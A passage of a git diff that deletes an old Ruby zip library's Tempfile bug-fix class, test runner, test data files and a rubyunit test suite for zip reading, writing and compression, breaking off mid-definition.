lock = nil - n = failure = 0 - - begin - Thread.critical = true - - begin - tmpname = sprintf('%s/%s%d.%d', tmpdir, basename, $$, n) - lock = tmpname + '.lock' - n += 1 - end while @@cleanlist.include?(tmpname) or - File.exist?(lock) or File.exist?(tmpname) - - Dir.mkdir(lock) - rescue - failure += 1 - retry if failure < MAX_TRY - raise "cannot generate tempfile `%s'" % tmpname - ensure - Thread.critical = false - end - - @data = [tmpname] - @clean_proc = Tempfile.callback(@data) - ObjectSpace.define_finalizer(self, @clean_proc) - - @tmpfile = File.open(tmpname, File::RDWR|File::CREAT|File::EXCL, 0600) - @tmpname = tmpname - @@cleanlist << @tmpname - @data[1] = @tmpfile - @data[2] = @@cleanlist - - super(@tmpfile) - - # Now we have all the File/IO methods defined, you must not - # carelessly put bare puts(), etc. after this. - - Dir.rmdir(lock) - end - - # Opens or reopens the file with mode "r+". - def open - @tmpfile.close if @tmpfile - @tmpfile = File.open(@tmpname, 'r+') - @data[1] = @tmpfile - __setobj__(@tmpfile) - end - - def _close # :nodoc: - @tmpfile.close if @tmpfile - @data[1] = @tmpfile = nil - end - protected :_close - - # Closes the file. If the optional flag is true, unlinks the file - # after closing. - # - # If you don't explicitly unlink the temporary file, the removal - # will be delayed until the object is finalized. - def close(unlink_now=false) - if unlink_now - close! - else - _close - end - end - - # Closes and unlinks the file. - def close! - _close - @clean_proc.call - ObjectSpace.undefine_finalizer(self) - end - - # Unlinks the file. On UNIX-like systems, it is often a good idea - # to unlink a temporary file immediately after creating and opening - # it, because it leaves other programs zero chance to access the - # file. - def unlink - # keep this order for thread safeness - File.unlink(@tmpname) if File.exist?(@tmpname) - @@cleanlist.delete(@tmpname) if @@cleanlist - end - alias delete unlink - - if RUBY_VERSION > '1.8.0' - def __setobj__(obj) - @_dc_obj = obj - end - else - def __setobj__(obj) - @obj = obj - end - end - - # Returns the full path name of the temporary file. - def path - @tmpname - end - - # Returns the size of the temporary file. As a side effect, the IO - # buffer is flushed before determining the size. - def size - if @tmpfile - @tmpfile.flush - @tmpfile.stat.size - else - 0 - end - end - alias length size - - class << self - def callback(data) # :nodoc: - pid = $$ - lambda{ - if pid == $$ - path, tmpfile, cleanlist = *data - - print "removing ", path, "..." if $DEBUG - - tmpfile.close if tmpfile - - # keep this order for thread safeness - File.unlink(path) if File.exist?(path) - cleanlist.delete(path) if cleanlist - - print "done\n" if $DEBUG - end - } - end - - # If no block is given, this is a synonym for new(). - # - # If a block is given, it will be passed tempfile as an argument, - # and the tempfile will automatically be closed when the block - # terminates. In this case, open() returns nil. - def open(*args) - tempfile = new(*args) - - if block_given? - begin - yield(tempfile) - ensure - tempfile.close - end - - nil - else - tempfile - end - end - end -end - -end # module BugFix -if __FILE__ == $0 -# $DEBUG = true - f = Tempfile.new("foo") - f.print("foo\n") - f.close - f.open - p f.gets # => "foo\n" - f.close! -end diff --git a/lib/zip/test/alltests.rb b/lib/zip/test/alltests.rb deleted file mode 100755 index 691349af37..0000000000 --- a/lib/zip/test/alltests.rb +++ /dev/null @@ -1,9 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -require 'stdrubyexttest' -require 'ioextrastest' -require 'ziptest' -require 'zipfilesystemtest' -require 'ziprequiretest' diff --git a/lib/zip/test/data/file1.txt b/lib/zip/test/data/file1.txt deleted file mode 100644 index 23ea2f731b..0000000000 --- a/lib/zip/test/data/file1.txt +++ /dev/null @@ -1,46 +0,0 @@ - -AUTOMAKE_OPTIONS = gnu - -EXTRA_DIST = test.zip - -CXXFLAGS= -g - -noinst_LIBRARIES = libzipios.a - -bin_PROGRAMS = test_zip test_izipfilt test_izipstream -# test_flist - -libzipios_a_SOURCES = backbuffer.h fcol.cpp fcol.h \ - fcol_common.h fcolexceptions.cpp fcolexceptions.h \ - fileentry.cpp fileentry.h flist.cpp \ - flist.h flistentry.cpp flistentry.h \ - flistscanner.h ifiltstreambuf.cpp ifiltstreambuf.h \ - inflatefilt.cpp inflatefilt.h izipfilt.cpp \ - izipfilt.h izipstream.cpp izipstream.h \ - zipfile.cpp zipfile.h ziphead.cpp \ - ziphead.h flistscanner.ll - -# test_flist_SOURCES = test_flist.cpp - -test_izipfilt_SOURCES = test_izipfilt.cpp - -test_izipstream_SOURCES = test_izipstream.cpp - -test_zip_SOURCES = test_zip.cpp - -# Notice that libzipios.a is not specified as -L. -lzipios -# If it was, automake would not include it as a dependency. - -# test_flist_LDADD = libzipios.a - -test_izipfilt_LDADD = libzipios.a -lz - -test_zip_LDADD = libzipios.a -lz - -test_izipstream_LDADD = libzipios.a -lz - - - -flistscanner.cc : flistscanner.ll - $(LEX) -+ -PFListScanner -o$@ $^ - diff --git a/lib/zip/test/data/file1.txt.deflatedData b/lib/zip/test/data/file1.txt.deflatedData deleted file mode 100644 index bfbb4f42c0..0000000000 Binary files a/lib/zip/test/data/file1.txt.deflatedData and /dev/null differ diff --git a/lib/zip/test/data/file2.txt b/lib/zip/test/data/file2.txt deleted file mode 100644 index 57221d1adf..0000000000 --- a/lib/zip/test/data/file2.txt +++ /dev/null @@ -1,1504 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -require 'rubyunit' -require 'zip' - -include Zip - -Dir.chdir "test" - -class AbstractInputStreamTest < RUNIT::TestCase - # AbstractInputStream subclass that provides a read method - - TEST_LINES = [ "Hello world#{$/}", - "this is the second line#{$/}", - "this is the last line"] - TEST_STRING = TEST_LINES.join - class TestAbstractInputStream - include AbstractInputStream - def initialize(aString) - @contents = aString - @readPointer = 0 - end - - def read(charsToRead) - retVal=@contents[@readPointer, charsToRead] - @readPointer+=charsToRead - return retVal - end - - def produceInput - read(100) - end - - def inputFinished? - @contents[@readPointer] == nil - end - end - - def setup - @io = TestAbstractInputStream.new(TEST_STRING) - end - - def test_gets - assert_equals(TEST_LINES[0], @io.gets) - assert_equals(TEST_LINES[1], @io.gets) - assert_equals(TEST_LINES[2], @io.gets) - assert_equals(nil, @io.gets) - end - - def test_getsMultiCharSeperator - assert_equals("Hell", @io.gets("ll")) - assert_equals("o world#{$/}this is the second l", @io.gets("d l")) - end - - def test_each_line - lineNumber=0 - @io.each_line { - |line| - assert_equals(TEST_LINES[lineNumber], line) - lineNumber+=1 - } - end - - def test_readlines - assert_equals(TEST_LINES, @io.readlines) - end - - def test_readline - test_gets - begin - @io.readline - fail "EOFError expected" - rescue EOFError - end - end -end - -class ZipEntryTest < RUNIT::TestCase - TEST_ZIPFILE = "someZipFile.zip" - TEST_COMMENT = "a comment" - TEST_COMPRESSED_SIZE = 1234 - TEST_CRC = 325324 - TEST_EXTRA = "Some data here" - TEST_COMPRESSIONMETHOD = ZipEntry::DEFLATED - TEST_NAME = "entry name" - TEST_SIZE = 8432 - TEST_ISDIRECTORY = false - - def test_constructorAndGetters - entry = ZipEntry.new(TEST_ZIPFILE, - TEST_NAME, - TEST_COMMENT, - TEST_EXTRA, - TEST_COMPRESSED_SIZE, - TEST_CRC, - TEST_COMPRESSIONMETHOD, - TEST_SIZE) - - assert_equals(TEST_COMMENT, entry.comment) - assert_equals(TEST_COMPRESSED_SIZE, entry.compressedSize) - assert_equals(TEST_CRC, entry.crc) - assert_equals(TEST_EXTRA, entry.extra) - assert_equals(TEST_COMPRESSIONMETHOD, entry.compressionMethod) - assert_equals(TEST_NAME, entry.name) - assert_equals(TEST_SIZE, entry.size) - assert_equals(TEST_ISDIRECTORY, entry.isDirectory) - end - - def test_equality - entry1 = ZipEntry.new("file.zip", "name", "isNotCompared", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry2 = ZipEntry.new("file.zip", "name", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 1234, - ZipEntry::DEFLATED, 10000) - entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::DEFLATED, 10000) - entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 10000) - entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 100000) - - assert_equals(entry1, entry1) - assert_equals(entry1, entry2) - - assert(entry2 != entry3) - assert(entry3 != entry4) - assert(entry4 != entry5) - assert(entry5 != entry6) - assert(entry6 != entry7) - assert(entry7 != entry8) - - assert(entry7 != "hello") - assert(entry7 != 12) - end -end - -module IOizeString - attr_reader :tell - - def read(count = nil) - @tell ||= 0 - count = size unless count - retVal = slice(@tell, count) - @tell += count - return retVal - end - - def seek(index, offset) - @tell ||= 0 - case offset - when IO::SEEK_END - newPos = size + index - when IO::SEEK_SET - newPos = index - when IO::SEEK_CUR - newPos = @tell + index - else - raise "Error in test method IOizeString::seek" - end - if (newPos < 0 || newPos >= size) - raise Errno::EINVAL - else - @tell=newPos - end - end - - def reset - @tell = 0 - end -end - -class ZipLocalEntryTest < RUNIT::TestCase - def test_readLocalEntryHeaderOfFirstTestZipEntry - File.open(TestZipFile::TEST_ZIP3.zipName) { - |file| - entry = ZipEntry.readLocalEntry(file) - - assert_equal("", entry.comment) - # Differs from windows and unix because of CR LF - # assert_equal(480, entry.compressedSize) - # assert_equal(0x2a27930f, entry.crc) - # extra field is 21 bytes long - # probably contains some unix attrutes or something - # disabled: assert_equal(nil, entry.extra) - assert_equal(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equal(TestZipFile::TEST_ZIP3.entryNames[0], entry.name) - assert_equal(File.size(TestZipFile::TEST_ZIP3.entryNames[0]), entry.size) - assert(! entry.isDirectory) - } - end - - def test_readLocalEntryFromNonZipFile - File.open("ziptest.rb") { - |file| - assert_equals(nil, ZipEntry.readLocalEntry(file)) - } - end - - def test_readLocalEntryFromTruncatedZipFile - zipFragment="" - File.open(TestZipFile::TEST_ZIP2.zipName) { |f| zipFragment = f.read(12) } # local header is at least 30 bytes - zipFragment.extend(IOizeString).reset - entry = ZipEntry.new - entry.readLocalEntry(zipFragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeEntry - entry = ZipEntry.new("file.zip", "entryName", "my little comment", - "thisIsSomeExtraInformation", 100, 987654, - ZipEntry::DEFLATED, 400) - writeToFile("localEntryHeader.bin", "centralEntryHeader.bin", entry) - entryReadLocal, entryReadCentral = readFromFile("localEntryHeader.bin", "centralEntryHeader.bin") - compareLocalEntryHeaders(entry, entryReadLocal) - compareCDirEntryHeaders(entry, entryReadCentral) - end - - private - def compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.compressedSize , entry2.compressedSize) - assert_equals(entry1.crc , entry2.crc) - assert_equals(entry1.extra , entry2.extra) - assert_equals(entry1.compressionMethod, entry2.compressionMethod) - assert_equals(entry1.name , entry2.name) - assert_equals(entry1.size , entry2.size) - assert_equals(entry1.localHeaderOffset, entry2.localHeaderOffset) - end - - def compareCDirEntryHeaders(entry1, entry2) - compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.comment, entry2.comment) - end - - def writeToFile(localFileName, centralFileName, entry) - File.open(localFileName, "wb") { |f| entry.writeLocalEntry(f) } - File.open(centralFileName, "wb") { |f| entry.writeCDirEntry(f) } - end - - def readFromFile(localFileName, centralFileName) - localEntry = nil - cdirEntry = nil - File.open(localFileName, "rb") { |f| localEntry = ZipEntry.readLocalEntry(f) } - File.open(centralFileName, "rb") { |f| cdirEntry = ZipEntry.readCDirEntry(f) } - return [localEntry, cdirEntry] - end -end - - -module DecompressorTests - # expects @refText and @decompressor - - def test_readEverything - assert_equals(@refText, @decompressor.read) - end - - def test_readInChunks - chunkSize = 5 - while (decompressedChunk = @decompressor.read(chunkSize)) - assert_equals(@refText.slice!(0, chunkSize), decompressedChunk) - end - assert_equals(0, @refText.size) - end -end - -class InflaterTest < RUNIT::TestCase - include DecompressorTests - - def setup - @file = File.new("file1.txt.deflatedData", "rb") - @refText="" - File.open("file1.txt") { |f| @refText = f.read } - @decompressor = Inflater.new(@file) - end - - def teardown - @file.close - end -end - - -class PassThruDecompressorTest < RUNIT::TestCase - include DecompressorTests - TEST_FILE="file1.txt" - def setup - @file = File.new(TEST_FILE) - @refText="" - File.open(TEST_FILE) { |f| @refText = f.read } - @decompressor = PassThruDecompressor.new(@file, File.size(TEST_FILE)) - end - - def teardown - @file.close - end -end - - -module AssertEntry - def assertNextEntry(filename, zis) - assertEntry(filename, zis, zis.getNextEntry.name) - end - - def assertEntry(filename, zis, entryName) - assert_equals(filename, entryName) - assertEntryContentsForStream(filename, zis, entryName) - end - - def assertEntryContentsForStream(filename, zis, entryName) - File.open(filename, "rb") { - |file| - expected = file.read - actual = zis.read - if (expected != actual) - if (expected.length > 400 || actual.length > 400) - zipEntryFilename=entryName+".zipEntry" - File.open(zipEntryFilename, "wb") { |file| file << actual } - fail("File '#{filename}' is different from '#{zipEntryFilename}'") - else - assert_equals(expected, actual) - end - end - } - end - - def AssertEntry.assertContents(filename, aString) - fileContents = "" - File.open(filename, "rb") { |f| fileContents = f.read } - if (fileContents != aString) - if (expected.length > 400 || actual.length > 400) - stringFile = filename + ".other" - File.open(stringFile, "wb") { |f| f << aString } - fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") - else - assert_equals(expected, actual) - end - end - end - - def assertStreamContents(zis, testZipFile) - assert(zis != nil) - testZipFile.entryNames.each { - |entryName| - assertNextEntry(entryName, zis) - } - assert_equals(nil, zis.getNextEntry) - end - - def assertTestZipContents(testZipFile) - ZipInputStream.open(testZipFile.zipName) { - |zis| - assertStreamContents(zis, testZipFile) - } - end - - def assertEntryContents(zipFile, entryName, filename = entryName.to_s) - zis = zipFile.getInputStream(entryName) - assertEntryContentsForStream(filename, zis, entryName) - ensure - zis.close if zis - end -end - - - -class ZipInputStreamTest < RUNIT::TestCase - include AssertEntry - - def test_new - zis = ZipInputStream.new(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - zis.close - end - - def test_openWithBlock - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - } - end - - def test_openWithoutBlock - zis = ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - end - - def test_incompleteReads - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[0], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[1], entry.name) - assert_equals(0, entry.size) - assert_equals(nil, zis.gets) - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[2], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[3], entry.name) - assert zis.gets.length > 0 - } - end - -end - -class TestFiles - RANDOM_ASCII_FILE1 = "randomAscii1.txt" - RANDOM_ASCII_FILE2 = "randomAscii2.txt" - RANDOM_ASCII_FILE3 = "randomAscii3.txt" - RANDOM_BINARY_FILE1 = "randomBinary1.bin" - RANDOM_BINARY_FILE2 = "randomBinary2.bin" - - EMPTY_TEST_DIR = "emptytestdir" - - ASCII_TEST_FILES = [ RANDOM_ASCII_FILE1, RANDOM_ASCII_FILE2, RANDOM_ASCII_FILE3 ] - BINARY_TEST_FILES = [ RANDOM_BINARY_FILE1, RANDOM_BINARY_FILE2 ] - TEST_DIRECTORIES = [ EMPTY_TEST_DIR ] - TEST_FILES = [ ASCII_TEST_FILES, BINARY_TEST_FILES, EMPTY_TEST_DIR ].flatten! - - def TestFiles.createTestFiles(recreate) - if (recreate || - ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) - - ASCII_TEST_FILES.each_with_index { - |filename, index| - createRandomAscii(filename, 1E4 * (index+1)) - } - - BINARY_TEST_FILES.each_with_index { - |filename, index| - createRandomBinary(filename, 1E4 * (index+1)) - } - - ensureDir(EMPTY_TEST_DIR) - end - end - - private - def TestFiles.createRandomAscii(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand - end - } - end - - def TestFiles.createRandomBinary(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand.to_a.pack("V") - end - } - end - - def TestFiles.ensureDir(name) - if File.exists?(name) - return if File.stat(name).directory? - File.delete(name) - end - Dir.mkdir(name) - end - -end - -# For representation and creation of -# test data -class TestZipFile - attr_accessor :zipName, :entryNames, :comment - - def initialize(zipName, entryNames, comment = "") - @zipName=zipName - @entryNames=entryNames - @comment = comment - end - - def TestZipFile.createTestZips(recreate) - files = Dir.entries(".") - if (recreate || - ! (files.index(TEST_ZIP1.zipName) && - files.index(TEST_ZIP2.zipName) && - files.index(TEST_ZIP3.zipName) && - files.index(TEST_ZIP4.zipName) && - files.index("empty.txt") && - files.index("short.txt") && - files.index("longAscii.txt") && - files.index("longBinary.bin") )) - raise "failed to create test zip '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} ziptest.rb") - raise "failed to remove entry from '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") - - File.open("empty.txt", "w") {} - - File.open("short.txt", "w") { |file| file << "ABCDEF" } - ziptestTxt="" - File.open("ziptest.rb") { |file| ziptestTxt=file.read } - File.open("longAscii.txt", "w") { - |file| - while (file.tell < 1E5) - file << ziptestTxt - end - } - - testBinaryPattern="" - File.open("empty.zip") { |file| testBinaryPattern=file.read } - testBinaryPattern *= 4 - - File.open("longBinary.bin", "wb") { - |file| - while (file.tell < 3E5) - file << testBinaryPattern << rand - end - } - raise "failed to create test zip '#{TEST_ZIP2.zipName}'" unless - system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") - - # without bash system interprets everything after echo as parameters to - # echo including | zip -z ... - raise "failed to add comment to test zip '#{TEST_ZIP2.zipName}'" unless - system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") - - raise "failed to create test zip '#{TEST_ZIP3.zipName}'" unless - system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") - - raise "failed to create test zip '#{TEST_ZIP4.zipName}'" unless - system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") - end - rescue - raise $!.to_s + - "\n\nziptest.rb requires the Info-ZIP program 'zip' in the path\n" + - "to create test data. If you don't have it you can download\n" + - "the necessary test files at http://sf.net/projects/rubyzip." - end - - TEST_ZIP1 = TestZipFile.new("empty.zip", []) - TEST_ZIP2 = TestZipFile.new("4entry.zip", %w{ longAscii.txt empty.txt short.txt longBinary.bin}, - "my zip comment") - TEST_ZIP3 = TestZipFile.new("test1.zip", %w{ file1.txt }) - TEST_ZIP4 = TestZipFile.new("zipWithDir.zip", [ "file1.txt", - TestFiles::EMPTY_TEST_DIR]) -end - - -class AbstractOutputStreamTest < RUNIT::TestCase - class TestOutputStream - include AbstractOutputStream - - attr_accessor :buffer - - def initialize - @buffer = "" - end - - def << (data) - @buffer << data - self - end - end - - def setup - @outputStream = TestOutputStream.new - - @origCommaSep = $, - @origOutputSep = $\ - end - - def teardown - $, = @origCommaSep - $\ = @origOutputSep - end - - def test_write - count = @outputStream.write("a little string") - assert_equals("a little string", @outputStream.buffer) - assert_equals("a little string".length, count) - - count = @outputStream.write(". a little more") - assert_equals("a little string. a little more", @outputStream.buffer) - assert_equals(". a little more".length, count) - end - - def test_print - $\ = nil # record separator set to nil - @outputStream.print("hello") - assert_equals("hello", @outputStream.buffer) - - @outputStream.print(" world.") - assert_equals("hello world.", @outputStream.buffer) - - @outputStream.print(" You ok ", "out ", "there?") - assert_equals("hello world. You ok out there?", @outputStream.buffer) - - $\ = "\n" - @outputStream.print - assert_equals("hello world. You ok out there?\n", @outputStream.buffer) - - @outputStream.print("I sure hope so!") - assert_equals("hello world. You ok out there?\nI sure hope so!\n", @outputStream.buffer) - - $, = "X" - @outputStream.buffer = "" - @outputStream.print("monkey", "duck", "zebra") - assert_equals("monkeyXduckXzebra\n", @outputStream.buffer) - - $\ = nil - @outputStream.buffer = "" - @outputStream.print(20) - assert_equals("20", @outputStream.buffer) - end - - def test_printf - @outputStream.printf("%d %04x", 123, 123) - assert_equals("123 007b", @outputStream.buffer) - end - - def test_putc - @outputStream.putc("A") - assert_equals("A", @outputStream.buffer) - @outputStream.putc(65) - assert_equals("AA", @outputStream.buffer) - end - - def test_puts - @outputStream.puts - assert_equals("\n", @outputStream.buffer) - - @outputStream.puts("hello", "world") - assert_equals("\nhello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts("hello\n", "world\n") - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"]) - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"], "bingo") - assert_equals("hello\nworld\nbingo\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(16, 20, 50, "hello") - assert_equals("16\n20\n50\nhello\n", @outputStream.buffer) - end -end - - -module CrcTest - def runCrcTest(compressorClass) - str = "Here's a nice little text to compute the crc for! Ho hum, it is nice nice nice nice indeed." - fakeOut = AbstractOutputStreamTest::TestOutputStream.new - - deflater = compressorClass.new(fakeOut) - deflater << str - assert_equals(0x919920fc, deflater.crc) - end -end - - - -class PassThruCompressorTest < RUNIT::TestCase - include CrcTest - - def test_size - File.open("dummy.txt", "wb") { - |file| - compressor = PassThruCompressor.new(file) - - assert_equals(0, compressor.size) - - t1 = "hello world" - t2 = "" - t3 = "bingo" - - compressor << t1 - assert_equals(compressor.size, t1.size) - - compressor << t2 - assert_equals(compressor.size, t1.size + t2.size) - - compressor << t3 - assert_equals(compressor.size, t1.size + t2.size + t3.size) - } - end - - def test_crc - runCrcTest(PassThruCompressor) - end -end - -class DeflaterTest < RUNIT::TestCase - include CrcTest - - def test_outputOperator - txt = loadFile("ziptest.rb") - deflate(txt, "deflatertest.bin") - inflatedTxt = inflate("deflatertest.bin") - assert_equals(txt, inflatedTxt) - end - - private - def loadFile(fileName) - txt = nil - File.open(fileName, "rb") { |f| txt = f.read } - end - - def deflate(data, fileName) - File.open(fileName, "wb") { - |file| - deflater = Deflater.new(file) - deflater << data - deflater.finish - assert_equals(deflater.size, data.size) - file << "trailing data for zlib with -MAX_WBITS" - } - end - - def inflate(fileName) - txt = nil - File.open(fileName, "rb") { - |file| - inflater = Inflater.new(file) - txt = inflater.read - } - end - - def test_crc - runCrcTest(Deflater) - end -end - -class ZipOutputStreamTest < RUNIT::TestCase - include AssertEntry - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "output.zip" - - def test_new - zos = ZipOutputStream.new(TEST_ZIP.zipName) - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - zos.close - assertTestZipContents(TEST_ZIP) - end - - def test_open - ZipOutputStream.open(TEST_ZIP.zipName) { - |zos| - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - } - assertTestZipContents(TEST_ZIP) - end - - def test_writingToClosedStream - assertIOErrorInClosedStream { |zos| zos << "hello world" } - assertIOErrorInClosedStream { |zos| zos.puts "hello world" } - assertIOErrorInClosedStream { |zos| zos.write "hello world" } - end - - def test_cannotOpenFile - name = TestFiles::EMPTY_TEST_DIR - begin - zos = ZipOutputStream.open(name) - rescue Exception - assert($!.kind_of?(Errno::EISDIR) || # Linux - $!.kind_of?(Errno::EEXIST) || # Windows/cygwin - $!.kind_of?(Errno::EACCES), # Windows - "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") - end - end - - def assertIOErrorInClosedStream - assert_exception(IOError) { - zos = ZipOutputStream.new("test_putOnClosedStream.zip") - zos.close - yield zos - } - end - - def writeTestZip(zos) - TEST_ZIP.entryNames.each { - |entryName| - zos.putNextEntry(entryName) - File.open(entryName, "rb") { |f| zos.write(f.read) } - } - end -end - - - -module Enumerable - def compareEnumerables(otherEnumerable) - otherAsArray = otherEnumerable.to_a - index=0 - each_with_index { - |element, index| - return false unless yield(element, otherAsArray[index]) - } - return index+1 == otherAsArray.size - end -end - - -class ZipCentralDirectoryEntryTest < RUNIT::TestCase - - def test_readFromStream - File.open("testDirectory.bin", "rb") { - |file| - entry = ZipEntry.readCDirEntry(file) - - assert_equals("longAscii.txt", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(106490, entry.size) - assert_equals(3784, entry.compressedSize) - assert_equals(0xfcd1799c, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("empty.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(0, entry.size) - assert_equals(0, entry.compressedSize) - assert_equals(0x0, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("short.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(6, entry.size) - assert_equals(6, entry.compressedSize) - assert_equals(0xbb76fe69, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("longBinary.bin", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(1000024, entry.size) - assert_equals(70847, entry.compressedSize) - assert_equals(0x10da7d59, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals(nil, entry) -# Fields that are not check by this test: -# version made by 2 bytes -# version needed to extract 2 bytes -# general purpose bit flag 2 bytes -# last mod file time 2 bytes -# last mod file date 2 bytes -# compressed size 4 bytes -# uncompressed size 4 bytes -# disk number start 2 bytes -# internal file attributes 2 bytes -# external file attributes 4 bytes -# relative offset of local header 4 bytes - -# file name (variable size) -# extra field (variable size) -# file comment (variable size) - - } - end - - def test_ReadEntryFromTruncatedZipFile - fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read(12) } # cdir entry header is at least 46 bytes - fragment.extend(IOizeString) - entry = ZipEntry.new - entry.readCDirEntry(fragment) - fail "ZipError expected" - rescue ZipError - end - -end - -class ZipCentralDirectoryTest < RUNIT::TestCase - - def test_readFromStream - File.open(TestZipFile::TEST_ZIP2.zipName, "rb") { - |zipFile| - cdir = ZipCentralDirectory.readFromStream(zipFile) - - assert_equals(TestZipFile::TEST_ZIP2.entryNames.size, cdir.size) - assert(cdir.compareEnumerables(TestZipFile::TEST_ZIP2.entryNames) { - |cdirEntry, testEntryName| - cdirEntry.name == testEntryName - }) - assert_equals(TestZipFile::TEST_ZIP2.comment, cdir.comment) - } - end - - def test_readFromInvalidStream - File.open("ziptest.rb", "rb") { - |zipFile| - cdir = ZipCentralDirectory.new - cdir.readFromStream(zipFile) - } - fail "ZipError expected!" - rescue ZipError - end - - def test_ReadFromTruncatedZipFile - fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read } - fragment.slice!(12) # removed part of first cdir entry. eocd structure still complete - fragment.extend(IOizeString) - entry = ZipCentralDirectory.new - entry.readFromStream(fragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeToStream - entries = [ ZipEntry.new("file.zip", "flimse", "myComment", "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt", "Has a comment too") ] - cdir = ZipCentralDirectory.new(entries, "my zip comment") - File.open("cdirtest.bin", "wb") { |f| cdir.writeToStream(f) } - cdirReadback = ZipCentralDirectory.new - File.open("cdirtest.bin", "rb") { |f| cdirReadback.readFromStream(f) } - - assert_equals(cdir.entries, cdirReadback.entries) - end - - def test_equality - cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - assert_equals(cdir1, cdir1) - assert_equals(cdir1, cdir2) - - assert(cdir1 != cdir3) - assert(cdir2 != cdir3) - assert(cdir2 != cdir3) - assert(cdir3 != cdir4) - - assert(cdir3 != "hello") - end -end - - -class BasicZipFileTest < RUNIT::TestCase - include AssertEntry - - def setup - @zipFile = ZipFile.new(TestZipFile::TEST_ZIP2.zipName) - @testEntryNameIndex=0 - end - - def nextTestEntryName - retVal=TestZipFile::TEST_ZIP2.entryNames[@testEntryNameIndex] - @testEntryNameIndex+=1 - return retVal - end - - def test_entries - assert_equals(TestZipFile::TEST_ZIP2.entryNames, @zipFile.entries.map {|e| e.name} ) - end - - def test_each - @zipFile.each { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def 